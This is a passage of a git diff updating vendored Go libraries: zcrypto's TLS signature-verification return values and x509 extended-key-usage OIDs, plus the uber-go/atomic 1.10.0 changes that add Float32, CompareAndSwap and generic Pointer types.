that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/github.com/zmap/zcrypto/tls/key_agreement.go b/vendor/github.com/zmap/zcrypto/tls/key_agreement.go index 5f103ea50..4fdc1fcb4 100644 --- a/vendor/github.com/zmap/zcrypto/tls/key_agreement.go +++ b/vendor/github.com/zmap/zcrypto/tls/key_agreement.go @@ -458,44 +458,44 @@ func (ka *signedKeyAgreement) verifyParameters(config *Config, clientHello *clie case signatureECDSA: augECDSA, ok := cert.PublicKey.(*x509.AugmentedECDSA) if !ok { - return nil, errors.New("ECDHE ECDSA: could not covert cert.PublicKey to x509.AugmentedECDSA") + return digest, errors.New("ECDHE ECDSA: could not covert cert.PublicKey to x509.AugmentedECDSA") } pubKey := augECDSA.Pub ecdsaSig := new(ecdsaSignature) if _, err := asn1.Unmarshal(sig, ecdsaSig); err != nil { - return nil, err + return digest, err } if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 { - return nil, errors.New("ECDSA signature contained zero or negative values") + return digest, errors.New("ECDSA signature contained zero or negative values") } if !ecdsa.Verify(pubKey, digest, ecdsaSig.R, ecdsaSig.S) { - return nil, errors.New("ECDSA verification failure") + return digest, errors.New("ECDSA verification failure") } case signatureRSA: pubKey, ok := cert.PublicKey.(*rsa.PublicKey) if !ok { - return nil, errors.New("ECDHE RSA requires a RSA server public key") + return digest, errors.New("ECDHE RSA requires a RSA server public key") } if err := rsa.VerifyPKCS1v15(pubKey, hashFunc, digest, sig); err != nil { - return nil, err + return digest, err } case signatureDSA: pubKey, ok := cert.PublicKey.(*dsa.PublicKey) if !ok { - return nil, errors.New("DSS ciphers require a DSA server public key") + return digest, errors.New("DSS ciphers require a DSA server public key") } dsaSig := new(dsaSignature) if _, err := asn1.Unmarshal(sig, dsaSig); err != nil { - return nil, err + return digest, err } if dsaSig.R.Sign() <= 0 || dsaSig.S.Sign() <= 0 { - return nil, errors.New("DSA signature contained zero or negative values") + return digest, errors.New("DSA signature contained zero or negative values") } if !dsa.Verify(pubKey, digest, dsaSig.R, dsaSig.S) { - return nil, errors.New("DSA verification failure") + return digest, errors.New("DSA verification failure") } default: - return nil, errors.New("unknown ECDHE signature algorithm") + return digest, errors.New("unknown ECDHE signature algorithm") } ka.valid = true return digest, nil diff --git a/vendor/github.com/zmap/zcrypto/x509/extended_key_usage.go b/vendor/github.com/zmap/zcrypto/x509/extended_key_usage.go index cde3a8e05..85ea4a726 100644 --- a/vendor/github.com/zmap/zcrypto/x509/extended_key_usage.go +++ b/vendor/github.com/zmap/zcrypto/x509/extended_key_usage.go @@ -29,6 +29,7 @@ const ( OID_EKU_APPLE_CRYPTO_TIER1_QOS = "1.2.840.113635.100.4.6.2" OID_EKU_APPLE_CRYPTO_TIER2_QOS = "1.2.840.113635.100.4.6.3" OID_EKU_APPLE_CRYPTO_TIER3_QOS = "1.2.840.113635.100.4.6.4" + OID_EKU_ADOBE_AUTHENTIC_DOCUMENT_TRUST = "1.2.840.113583.1.1.5" OID_EKU_MICROSOFT_CERT_TRUST_LIST_SIGNING = "1.3.6.1.4.1.311.10.3.1" OID_EKU_MICROSOFT_QUALIFIED_SUBORDINATE = "1.3.6.1.4.1.311.10.3.10" OID_EKU_MICROSOFT_KEY_RECOVERY_3 = "1.3.6.1.4.1.311.10.3.11" @@ -95,6 +96,7 @@ var ( oidExtKeyUsageAppleCryptoTier1Qos = asn1.ObjectIdentifier{1, 2, 840, 113635, 100, 4, 6, 2} oidExtKeyUsageAppleCryptoTier2Qos = asn1.ObjectIdentifier{1, 2, 840, 113635, 100, 4, 6, 3} oidExtKeyUsageAppleCryptoTier3Qos = asn1.ObjectIdentifier{1, 2, 840, 113635, 100, 4, 6, 4} + oidExtKeyUsageAdobeAuthenticDocumentTrust = asn1.ObjectIdentifier{1, 2, 840, 113583, 1, 1, 5} oidExtKeyUsageMicrosoftCertTrustListSigning = asn1.ObjectIdentifier{1, 3, 6, 1, 4, 1, 311, 10, 3, 1} oidExtKeyUsageMicrosoftQualifiedSubordinate = asn1.ObjectIdentifier{1, 3, 6, 1, 4, 1, 311, 10, 3, 10} oidExtKeyUsageMicrosoftKeyRecovery3 = asn1.ObjectIdentifier{1, 3, 6, 1, 4, 1, 311, 10, 3, 11} @@ -161,6 +163,7 @@ const ( ExtKeyUsageAppleCryptoTier1Qos ExtKeyUsageAppleCryptoTier2Qos ExtKeyUsageAppleCryptoTier3Qos + ExtKeyUsageAdobeAuthenticDocumentTrust ExtKeyUsageMicrosoftCertTrustListSigning ExtKeyUsageMicrosoftQualifiedSubordinate ExtKeyUsageMicrosoftKeyRecovery3 @@ -227,6 +230,7 @@ type auxExtendedKeyUsage struct { AppleCryptoTier1Qos bool `json:"apple_crypto_tier1_qos,omitempty" oid:"1.2.840.113635.100.4.6.2"` AppleCryptoTier2Qos bool `json:"apple_crypto_tier2_qos,omitempty" oid:"1.2.840.113635.100.4.6.3"` AppleCryptoTier3Qos bool `json:"apple_crypto_tier3_qos,omitempty" oid:"1.2.840.113635.100.4.6.4"` + AdobeAuthenticDocumentTrust bool `json:"adobe_authentic_document_trust,omitempty" oid:"1.2.840.113583.1.1.5"` MicrosoftCertTrustListSigning bool `json:"microsoft_cert_trust_list_signing,omitempty" oid:"1.3.6.1.4.1.311.10.3.1"` MicrosoftQualifiedSubordinate bool `json:"microsoft_qualified_subordinate,omitempty" oid:"1.3.6.1.4.1.311.10.3.10"` MicrosoftKeyRecovery3 bool `json:"microsoft_key_recovery_3,omitempty" oid:"1.3.6.1.4.1.311.10.3.11"` @@ -314,6 +318,8 @@ func (aux *auxExtendedKeyUsage) populateFromASN1(oid asn1.ObjectIdentifier) { aux.AppleCryptoTier2Qos = true case OID_EKU_APPLE_CRYPTO_TIER3_QOS: aux.AppleCryptoTier3Qos = true + case OID_EKU_ADOBE_AUTHENTIC_DOCUMENT_TRUST: + aux.AdobeAuthenticDocumentTrust = true case OID_EKU_MICROSOFT_CERT_TRUST_LIST_SIGNING: aux.MicrosoftCertTrustListSigning = true case OID_EKU_MICROSOFT_QUALIFIED_SUBORDINATE: @@ -447,6 +453,8 @@ func (aux *auxExtendedKeyUsage) populateFromExtKeyUsage(eku ExtKeyUsage) { aux.AppleCryptoTier2Qos = true case ExtKeyUsageAppleCryptoTier3Qos: aux.AppleCryptoTier3Qos = true + case ExtKeyUsageAdobeAuthenticDocumentTrust: + aux.AdobeAuthenticDocumentTrust = true case ExtKeyUsageMicrosoftCertTrustListSigning: aux.MicrosoftCertTrustListSigning = true case ExtKeyUsageMicrosoftQualifiedSubordinate: @@ -566,6 +574,7 @@ func init() { ekuOIDs[OID_EKU_APPLE_CRYPTO_TIER1_QOS] = oidExtKeyUsageAppleCryptoTier1Qos ekuOIDs[OID_EKU_APPLE_CRYPTO_TIER2_QOS] = oidExtKeyUsageAppleCryptoTier2Qos ekuOIDs[OID_EKU_APPLE_CRYPTO_TIER3_QOS] = oidExtKeyUsageAppleCryptoTier3Qos + ekuOIDs[OID_EKU_ADOBE_AUTHENTIC_DOCUMENT_TRUST] = oidExtKeyUsageAdobeAuthenticDocumentTrust ekuOIDs[OID_EKU_MICROSOFT_CERT_TRUST_LIST_SIGNING] = oidExtKeyUsageMicrosoftCertTrustListSigning ekuOIDs[OID_EKU_MICROSOFT_QUALIFIED_SUBORDINATE] = oidExtKeyUsageMicrosoftQualifiedSubordinate ekuOIDs[OID_EKU_MICROSOFT_KEY_RECOVERY_3] = oidExtKeyUsageMicrosoftKeyRecovery3 @@ -631,6 +640,7 @@ func init() { ekuConstants[OID_EKU_APPLE_CRYPTO_TIER1_QOS] = ExtKeyUsageAppleCryptoTier1Qos ekuConstants[OID_EKU_APPLE_CRYPTO_TIER2_QOS] = ExtKeyUsageAppleCryptoTier2Qos ekuConstants[OID_EKU_APPLE_CRYPTO_TIER3_QOS] = ExtKeyUsageAppleCryptoTier3Qos + ekuConstants[OID_EKU_ADOBE_AUTHENTIC_DOCUMENT_TRUST] = ExtKeyUsageAdobeAuthenticDocumentTrust ekuConstants[OID_EKU_MICROSOFT_CERT_TRUST_LIST_SIGNING] = ExtKeyUsageMicrosoftCertTrustListSigning ekuConstants[OID_EKU_MICROSOFT_QUALIFIED_SUBORDINATE] = ExtKeyUsageMicrosoftQualifiedSubordinate ekuConstants[OID_EKU_MICROSOFT_KEY_RECOVERY_3] = ExtKeyUsageMicrosoftKeyRecovery3 diff --git a/vendor/go.uber.org/atomic/CHANGELOG.md b/vendor/go.uber.org/atomic/CHANGELOG.md index 38f564e2b..5fe03f21b 100644 --- a/vendor/go.uber.org/atomic/CHANGELOG.md +++ b/vendor/go.uber.org/atomic/CHANGELOG.md @@ -4,6 +4,23 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.10.0] - 2022-08-11 +### Added +- Add `atomic.Float32` type for atomic operations on `float32`. +- Add `CompareAndSwap` and `Swap` methods to `atomic.String`, `atomic.Error`, + and `atomic.Value`. +- Add generic `atomic.Pointer[T]` type for atomic operations on pointers of any + type. This is present only for Go 1.18 or higher, and is a drop-in for + replacement for the standard library's `sync/atomic.Pointer` type. + +### Changed +- Deprecate `CAS` methods on all types in favor of corresponding + `CompareAndSwap` methods. + +Thanks to @eNV25 and @icpd for their contributions to this release. + +[1.10.0]: https://github.com/uber-go/atomic/compare/v1.9.0...v1.10.0 + ## [1.9.0] - 2021-07-15 ### Added - Add `Float64.Swap` to match int atomic operations. diff --git a/vendor/go.uber.org/atomic/bool.go b/vendor/go.uber.org/atomic/bool.go index 209df7bbc..dfa2085f4 100644 --- a/vendor/go.uber.org/atomic/bool.go +++ b/vendor/go.uber.org/atomic/bool.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicwrapper. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -55,8 +55,15 @@ func (x *Bool) Store(val bool) { } // CAS is an atomic compare-and-swap for bool values. +// +// Deprecated: Use CompareAndSwap. func (x *Bool) CAS(old, new bool) (swapped bool) { - return x.v.CAS(boolToInt(old), boolToInt(new)) + return x.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap for bool values. +func (x *Bool) CompareAndSwap(old, new bool) (swapped bool) { + return x.v.CompareAndSwap(boolToInt(old), boolToInt(new)) } // Swap atomically stores the given bool and returns the old diff --git a/vendor/go.uber.org/atomic/duration.go b/vendor/go.uber.org/atomic/duration.go index 207594f5e..6f4157445 100644 --- a/vendor/go.uber.org/atomic/duration.go +++ b/vendor/go.uber.org/atomic/duration.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicwrapper. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -56,8 +56,15 @@ func (x *Duration) Store(val time.Duration) { } // CAS is an atomic compare-and-swap for time.Duration values. +// +// Deprecated: Use CompareAndSwap. func (x *Duration) CAS(old, new time.Duration) (swapped bool) { - return x.v.CAS(int64(old), int64(new)) + return x.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap for time.Duration values. +func (x *Duration) CompareAndSwap(old, new time.Duration) (swapped bool) { + return x.v.CompareAndSwap(int64(old), int64(new)) } // Swap atomically stores the given time.Duration and returns the old diff --git a/vendor/go.uber.org/atomic/error.go b/vendor/go.uber.org/atomic/error.go index 3be19c35e..27b23ea16 100644 --- a/vendor/go.uber.org/atomic/error.go +++ b/vendor/go.uber.org/atomic/error.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicwrapper. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -49,3 +49,14 @@ func (x *Error) Load() error { func (x *Error) Store(val error) { x.v.Store(packError(val)) } + +// CompareAndSwap is an atomic compare-and-swap for error values. +func (x *Error) CompareAndSwap(old, new error) (swapped bool) { + return x.v.CompareAndSwap(packError(old), packError(new)) +} + +// Swap atomically stores the given error and returns the old +// value. +func (x *Error) Swap(val error) (old error) { + return unpackError(x.v.Swap(packError(val))) +} diff --git a/vendor/go.uber.org/atomic/error_ext.go b/vendor/go.uber.org/atomic/error_ext.go index ffe0be21c..d31fb633b 100644 --- a/vendor/go.uber.org/atomic/error_ext.go +++ b/vendor/go.uber.org/atomic/error_ext.go @@ -1,4 +1,4 @@ -// Copyright (c) 2020 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -23,7 +23,7 @@ package atomic // atomic.Value panics on nil inputs, or if the underlying type changes. // Stabilize by always storing a custom struct that we control. -//go:generate bin/gen-atomicwrapper -name=Error -type=error -wrapped=Value -pack=packError -unpack=unpackError -file=error.go +//go:generate bin/gen-atomicwrapper -name=Error -type=error -wrapped=Value -pack=packError -unpack=unpackError -compareandswap -swap -file=error.go type packedError struct{ Value error } diff --git a/vendor/go.uber.org/atomic/float32.go b/vendor/go.uber.org/atomic/float32.go new file mode 100644 index 000000000..5d535a6d2 --- /dev/null +++ b/vendor/go.uber.org/atomic/float32.go @@ -0,0 +1,77 @@ +// @generated Code generated by gen-atomicwrapper. + +// Copyright (c) 2020-2022 Uber Technologies, Inc. +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + +package atomic + +import ( + "encoding/json" + "math" +) + +// Float32 is an atomic type-safe wrapper for float32 values. +type Float32 struct { + _ nocmp // disallow non-atomic comparison + + v Uint32 +} + +var _zeroFloat32 float32 + +// NewFloat32 creates a new Float32. +func NewFloat32(val float32) *Float32 { + x := &Float32{} + if val != _zeroFloat32 { + x.Store(val) + } + return x +} + +// Load atomically loads the wrapped float32. +func (x *Float32) Load() float32 { + return math.Float32frombits(x.v.Load()) +} + +// Store atomically stores the passed float32. +func (x *Float32) Store(val float32) { + x.v.Store(math.Float32bits(val)) +} + +// Swap atomically stores the given float32 and returns the old +// value. +func (x *Float32) Swap(val float32) (old float32) { + return math.Float32frombits(x.v.Swap(math.Float32bits(val))) +} + +// MarshalJSON encodes the wrapped float32 into JSON. +func (x *Float32) MarshalJSON() ([]byte, error) { + return json.Marshal(x.Load()) +} + +// UnmarshalJSON decodes a float32 from JSON. +func (x *Float32) UnmarshalJSON(b []byte) error { + var v float32 + if err := json.Unmarshal(b, &v); err != nil { + return err + } + x.Store(v) + return nil +} diff --git a/vendor/go.uber.org/atomic/float32_ext.go b/vendor/go.uber.org/atomic/float32_ext.go new file mode 100644 index 000000000..b0cd8d9c8 --- /dev/null +++ b/vendor/go.uber.org/atomic/float32_ext.go @@ -0,0 +1,76 @@ +// Copyright (c) 2020-2022 Uber Technologies, Inc. +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + +package atomic + +import ( + "math" + "strconv" +) + +//go:generate bin/gen-atomicwrapper -name=Float32 -type=float32 -wrapped=Uint32 -pack=math.Float32bits -unpack=math.Float32frombits -swap -json -imports math -file=float32.go + +// Add atomically adds to the wrapped float32 and returns the new value. +func (f *Float32) Add(delta float32) float32 { + for { + old := f.Load() + new := old + delta + if f.CAS(old, new) { + return new + } + } +} + +// Sub atomically subtracts from the wrapped float32 and returns the new value. +func (f *Float32) Sub(delta float32) float32 { + return f.Add(-delta) +} + +// CAS is an atomic compare-and-swap for float32 values. +// +// Deprecated: Use CompareAndSwap +func (f *Float32) CAS(old, new float32) (swapped bool) { + return f.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap for float32 values. +// +// Note: CompareAndSwap handles NaN incorrectly. NaN != NaN using Go's inbuilt operators +// but CompareAndSwap allows a stored NaN to compare equal to a passed in NaN. +// This avoids typical CompareAndSwap loops from blocking forever, e.g., +// +// for { +// old := atom.Load() +// new = f(old) +// if atom.CompareAndSwap(old, new) { +// break +// } +// } +// +// If CompareAndSwap did not match NaN to match, then the above would loop forever. +func (f *Float32) CompareAndSwap(old, new float32) (swapped bool) { + return f.v.CompareAndSwap(math.Float32bits(old), math.Float32bits(new)) +} + +// String encodes the wrapped value as a string. +func (f *Float32) String() string { + // 'g' is the behavior for floats with %v. + return strconv.FormatFloat(float64(f.Load()), 'g', -1, 32) +} diff --git a/vendor/go.uber.org/atomic/float64.go b/vendor/go.uber.org/atomic/float64.go index 8a1367184..11d5189a5 100644 --- a/vendor/go.uber.org/atomic/float64.go +++ b/vendor/go.uber.org/atomic/float64.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicwrapper. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/vendor/go.uber.org/atomic/float64_ext.go b/vendor/go.uber.org/atomic/float64_ext.go index df36b0107..48c52b0ab 100644 --- a/vendor/go.uber.org/atomic/float64_ext.go +++ b/vendor/go.uber.org/atomic/float64_ext.go @@ -1,4 +1,4 @@ -// Copyright (c) 2020 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -45,21 +45,28 @@ func (f *Float64) Sub(delta float64) float64 { // CAS is an atomic compare-and-swap for float64 values. // -// Note: CAS handles NaN incorrectly. NaN != NaN using Go's inbuilt operators -// but CAS allows a stored NaN to compare equal to a passed in NaN. -// This avoids typical CAS loops from blocking forever, e.g., +// Deprecated: Use CompareAndSwap +func (f *Float64) CAS(old, new float64) (swapped bool) { + return f.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap for float64 values. // -// for { -// old := atom.Load() -// new = f(old) -// if atom.CAS(old, new) { -// break -// } -// } +// Note: CompareAndSwap handles NaN incorrectly. NaN != NaN using Go's inbuilt operators +// but CompareAndSwap allows a stored NaN to compare equal to a passed in NaN. +// This avoids typical CompareAndSwap loops from blocking forever, e.g., // -// If CAS did not match NaN to match, then the above would loop forever. -func (f *Float64) CAS(old, new float64) (swapped bool) { - return f.v.CAS(math.Float64bits(old), math.Float64bits(new)) +// for { +// old := atom.Load() +// new = f(old) +// if atom.CompareAndSwap(old, new) { +// break +// } +// } +// +// If CompareAndSwap did not match NaN to match, then the above would loop forever. +func (f *Float64) CompareAndSwap(old, new float64) (swapped bool) { + return f.v.CompareAndSwap(math.Float64bits(old), math.Float64bits(new)) } // String encodes the wrapped value as a string. diff --git a/vendor/go.uber.org/atomic/int32.go b/vendor/go.uber.org/atomic/int32.go index 640ea36a1..b9a68f42c 100644 --- a/vendor/go.uber.org/atomic/int32.go +++ b/vendor/go.uber.org/atomic/int32.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicint. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -66,7 +66,14 @@ func (i *Int32) Dec() int32 { } // CAS is an atomic compare-and-swap. +// +// Deprecated: Use CompareAndSwap. func (i *Int32) CAS(old, new int32) (swapped bool) { + return i.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap. +func (i *Int32) CompareAndSwap(old, new int32) (swapped bool) { return atomic.CompareAndSwapInt32(&i.v, old, new) } diff --git a/vendor/go.uber.org/atomic/int64.go b/vendor/go.uber.org/atomic/int64.go index 9ab66b980..78d260976 100644 --- a/vendor/go.uber.org/atomic/int64.go +++ b/vendor/go.uber.org/atomic/int64.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicint. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -66,7 +66,14 @@ func (i *Int64) Dec() int64 { } // CAS is an atomic compare-and-swap. +// +// Deprecated: Use CompareAndSwap. func (i *Int64) CAS(old, new int64) (swapped bool) { + return i.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap. +func (i *Int64) CompareAndSwap(old, new int64) (swapped bool) { return atomic.CompareAndSwapInt64(&i.v, old, new) } diff --git a/vendor/go.uber.org/atomic/nocmp.go b/vendor/go.uber.org/atomic/nocmp.go index a8201cb4a..54b74174a 100644 --- a/vendor/go.uber.org/atomic/nocmp.go +++ b/vendor/go.uber.org/atomic/nocmp.go @@ -23,13 +23,13 @@ package atomic // nocmp is an uncomparable struct. Embed this inside another struct to make // it uncomparable. // -// type Foo struct { -// nocmp -// // ... -// } +// type Foo struct { +// nocmp +// // ... +// } // // This DOES NOT: // -// - Disallow shallow copies of structs -// - Disallow comparison of pointers to uncomparable structs +// - Disallow shallow copies of structs +// - Disallow comparison of pointers to uncomparable structs type nocmp [0]func() diff --git a/vendor/go.uber.org/atomic/pointer_go118.go b/vendor/go.uber.org/atomic/pointer_go118.go new file mode 100644 index 000000000..e0f47dba4 --- /dev/null +++ b/vendor/go.uber.org/atomic/pointer_go118.go @@ -0,0 +1,60 @@ +// Copyright (c) 2022 Uber Technologies, Inc. +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + +//go:build go1.18 && !go1.19 +// +build go1.18,!go1.19 + +package atomic + +import "unsafe" + +type Pointer[T any] struct { + _ nocmp // disallow non-atomic comparison + p UnsafePointer +} + +// NewPointer creates a new Pointer. +func NewPointer[T any](v *T) *Pointer[T] { + var p Pointer[T] + if v != nil { + p.p.Store(unsafe.Pointer(v)) + } + return &p +} + +// Load atomically loads the wrapped value. +func (p *Pointer[T]) Load() *T { + return (*T)(p.p.Load()) +} + +// Store atomically stores the passed value. +func (p *Pointer[T]) Store(val *T) { + p.p.Store(unsafe.Pointer(val)) +} + +// Swap atomically swaps the wrapped pointer and returns the old value. +func (p *Pointer[T]) Swap(val *T) (old *T) { + return (*T)(p.p.Swap(unsafe.Pointer(val))) +} + +// CompareAndSwap is an atomic compare-and-swap. +func (p *Pointer[T]) CompareAndSwap(old, new *T) (swapped bool) { + return p.p.CompareAndSwap(unsafe.Pointer(old), unsafe.Pointer(new)) +} diff --git a/vendor/go.uber.org/atomic/pointer_go119.go b/vendor/go.uber.org/atomic/pointer_go119.go new file mode 100644 index 000000000..6726f17ad --- /dev/null +++ b/vendor/go.uber.org/atomic/pointer_go119.go @@ -0,0 +1,61 @@ +// Copyright (c) 2022 Uber Technologies, Inc. +// +// 